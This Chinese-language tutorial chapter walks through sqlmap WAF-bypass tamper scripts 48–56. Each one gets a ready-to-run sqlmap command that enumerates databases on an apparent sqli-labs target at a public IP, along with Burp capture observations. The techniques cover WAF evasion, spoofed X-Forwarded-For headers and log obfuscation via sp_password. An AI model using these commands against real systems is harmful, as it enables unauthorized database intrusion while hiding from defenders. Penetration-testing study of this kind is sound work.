sqlmap从入门到精通-第七章-7-23 绕过WAF脚本-剩下所有的绕过脚本-终结
48. sp_password.py脚本
在payload语句后面添加sp_password 这样是为了迷惑数据库日志,适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="sp_password.py" --proxy="http://127.0.0.1:8080" -batch
发现是可以注入的,看下burp抓包结果
发现结果是符合预想的,添加了sp_password,不影响结果,而且是可以正常注入的
==============================================================================================================================================================================================================
49. symboliclogical.py脚本
使用"&&"(%26%26)替换"and",使用"||"(%7C%7C)替换"or" 适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="symboliclogical.py" --proxy="http://127.0.0.1:8080" -batch
确认目标是可以正常注入的,我们看下burp抓包效果
达到效果,使用&&替换and
========================================================================================================================================================================================================
50. unionalltounion.py脚本
使用union select 替换union all select 适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="unionalltounion.py" --proxy="http://127.0.0.1:8080" -batch
可以正常的进行sql注入,看burp抓包结果
看到的最终结果是没有带all的union查询,具体大家可以再去测试
============================================================================================================================================================================================================
51. unmagicquotes.py脚本
使用宽字符“ ’”(编码值为%bf%27) 绕过GPC addslashes 适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="unmagicquotes.py" --proxy="http://127.0.0.1:8080" -batch
结果是可以注入的,我们看看brup抓包情况
效果明显,加了宽字符,%bf%27
===============================================================================================================================================================================================================
52. uppercase.py脚本
将测试的payload大写,适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="uppercase.py" --proxy="http://127.0.0.1:8080" -batch
这个绕过参数只是变大写,是可以正常注入的,我们看下brup抓包结果,验证我们的预期猜想
看的出来都是大写
===============================================================================================================================================================================================================
53. varnish.py脚本
添加一个HTTP头 "X-originating-IP" 来绕过WAF,适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="varnish.py" --proxy="http://127.0.0.1:8080" -batch
可以正常注入,看看burp抓包的结果是否含有此绕过参数添加的HTTP请求头
确实添加了一个HTTP头,效果明显
===============================================================================================================================================================================================================
54. versionedkeywords.py脚本
对不是函数的关键字进行注释 适用于mysql数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="versionedkeywords.py" --proxy="http://127.0.0.1:8080" -batch
看burp抓包效果
效果很明显,对不是函数的关键字进行了注释
==============================================================================================================================================================================================================
55. versionedmorekeywords.py脚本
注释每个关键字,这个是适用于数据库为mysql>=5.1.13
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="versionedmorekeywords.py" --proxy="http://127.0.0.1:8080" -batch
burp抓包结果查看
上图中看下面的解码确实是每个关键字都注释了
===============================================================================================================================================================================================================
56. xforwardedfor.py脚本
添加一个伪造好的HTTP头,"X-Forwarded-For" 用来绕过WAF,适用于所有数据库
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="xforwardedfor.py" --proxy="http://127.0.0.1:8080" -batch
burp的抓包结果
这里的效果是非常好非常明显,不仅仅加了X-Forwarded-For还加了其他常见的HTTP头,并且添加了随机的ip地址